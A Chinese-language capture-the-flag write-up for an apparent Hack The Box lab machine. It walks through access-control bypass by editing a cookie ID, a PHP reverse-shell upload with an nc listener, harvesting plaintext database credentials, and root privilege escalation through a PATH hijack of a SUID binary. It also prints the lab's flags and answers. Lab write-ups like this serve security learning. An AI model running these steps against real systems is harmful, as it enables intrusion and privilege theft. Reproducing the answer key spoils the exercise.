# Task 1


Q:With what kind of tool can intercept web traffic?

A:proxy

# Task 2

Q:What is the path to the directory on the webserver that returns a login page?

F12 检查元素发现有一行 <script src="/cdn-cgi/login/script.js"></script>
这不就找到后台了?

根据提示也可以使用 burpsuite 的爬虫爬取,在 Target 下的 Sitemap

A:/cdn-cgi/login

# Task 3

Q:What can be modified in Firefox to get access to the upload page?

这个用 burpsuite 拦截数据包,很容易发现 cookie 里包含了 id

A:cookie

# Task 4

Q:What is the access ID of the admin user?

打开后台发现可以使用 Guest 账号登录,进去之后有一个 account 选项卡,点进去发现是显式自己的资料,但是 URL 有一个 Get 的参数 id=1
直接改成 id=1
就显示了 admin 的 ID

这里可以通过 intruder
爆破所有 ID 账号

A:34322

# Task 5

Q:On uploading a file, what directory does that file appear in on the server?

这个可以爆破出来,但是猜一下也无妨

A:/uploads

# Task 6

Q:What is the file that contains the password that is shared with the robert user?

这个就要去拿 shell 了

首先打开网页,打开上传点,发现需要 super admin 权限才能用,那我们根据之前爆破出来的结果,已经知道了 super admin 的 id 是 86575,直接抓包改 cookie
image.png

然后用 kali 自带的反弹 shell 交上去

cp /usr/share/webshells/php/php-reverse-shell.php .
cat php-reverse-shell.php

里面的 ip 改成本机
image.png

上传的时候也要改一下 cookie
上传成功了

接下来我们监听下 1234 端口

┌──(root💀kali)-[~]
└─# nc -lvnp 1234                                                      127
listening on [any] 1234 ...


直接访问 shell 触发 http://10.129.7.7/uploads/php-reverse-shell.php

shell 反弹了

┌──(root💀kali)-[~]
└─# nc -lvnp 1234                                                      127
listening on [any] 1234 ...
connect to [10.10.16.86] from (UNKNOWN) [10.129.7.7] 37708
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 02:13:44 up 24 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

但是目前的 shell 是非交互的,意思就是你输入指令,指令会存放在文件里,而系统从文件中读取执行,不会产生任何交互响应,取消啊输入密码之类的交互信息不能发送。

那我们就要升级 shell 称为交互 shell 了!

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
xterm

不成功,可能是哪里出错了,感觉网上的返回交互式 shell 的方法在这里不适用啊

不过不用交互式 shell 问题也不大,就是有一些不方便而已

我们返回 nc,直接查找答案

$ cd /var/www/html/cdn-cgi/login
$ ls
admin.php
db.php
index.php
script.js
$ cat db.php    
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
$


A:db.php

# Task 7

Q:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

重新挑战交互式 shell,这回不用交互式 shell 是真不行了

$ SHELL=/bin/bash script -q /dev/null	// 这里新建了一个 tty
www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r!

我们直接用泄露的账号密码登录进去,这样就有了一个交互 shell,但又没有完全交互,不能用中断命令,只是能做一些交互而已,郁闷 ==、

后来做了扫描发现 ssh 是开着的,那么完全可以 ssh 直接连进去,方便得多


题目文的是和组相关的,那么我们先查看一下 robert 的信息

robert@oopsie:/$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:/$

接下来查找一下所有属于用户组的文件,并通过 2>/dev/nullpermission deny 的错误信息过滤

robert@oopsie:/$ find / -type f -group bugtracker 2>/dev/null 
find / -type f -group bugtracker 2>/dev/null 
/usr/bin/bugtracker

找到了一个 /usr/bin/bugtracker

A:find

# Task 8

Q:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

让我们康康这个文件

robert@oopsie:/$ ls -al /usr/bin/bugtracker
ls -al /usr/bin/bugtracker 
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

天呐,发现具有 s 权限!而且所有者是 root!
s 权限的文件执行时,其拥有的权限会暂时被调整为 owner 的权限

可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的 ID 值输出以该数字为编号的 bug 报告
-- 某大佬

A:root

# Task 9

Q:What SUID stands for?

A:Set owner User ID

# Task 10

Q:What is the name of the executable being called in an insecure manner?

A:cat

# Flag

# user flag

robert@oopsie:~$ cd /home/robert
robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981

flag:f2c74ee8db7983851ab2a96a44eb7981

# 解法 1

我们可以通过运行 bugtracker 来获得 flag

robert@oopsie:/usr/bin$ ./bugtracker 
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: ../root.txt
---------------
af13b0bee69f8a877c3faf667f7beacf

# 解法 2

通过 strings
命令获取到文件里面的所有 ASCII 码字符串,用来洞悉使用了哪些命令

其中有一条就是 cat /root/reports


那么查阅大佬的记录,哦吼?!

其含义是 bugtracker 调用系统中的 cat 命令输出了位于 /root/reports/ 目录下的 bug 报告,robert 用户本应无权访问 /root 目录,而 bugtracker 设置了 setuid 后就拥有了 /root 目录的访问,就拥有了 root 权限。且 cat 命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻 cat 命令,可以考虑创建一个恶意的 cat 命令,并修改当前用户环境变量,将权限提升为 root。

export PATH=/tmp:$PATH				// 将 /tmp 目录设置为环境变量
cd /tmp/							// 切换到 /tmp 目录下
echo '/bin/sh' > cat				// 在此构造恶意的 cat 命令
chmod +x cat						// 赋予执行权限

这样 bugtracker 再次调用 cat 命令时实际上调用的是 /tmp 目录下的恶意的 cat 命令

再运行一下 bugtracker

robert@oopsie:/tmp$ ./../usr/bin/bugtracker

返回了 root 权限,不过是临时的,并不是把 robert 改成了真正的 root

# id    
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)

既然有了 root 权限,那么就可以读取 root.txt 了


flag:af13b0bee69f8a877c3faf667f7beacf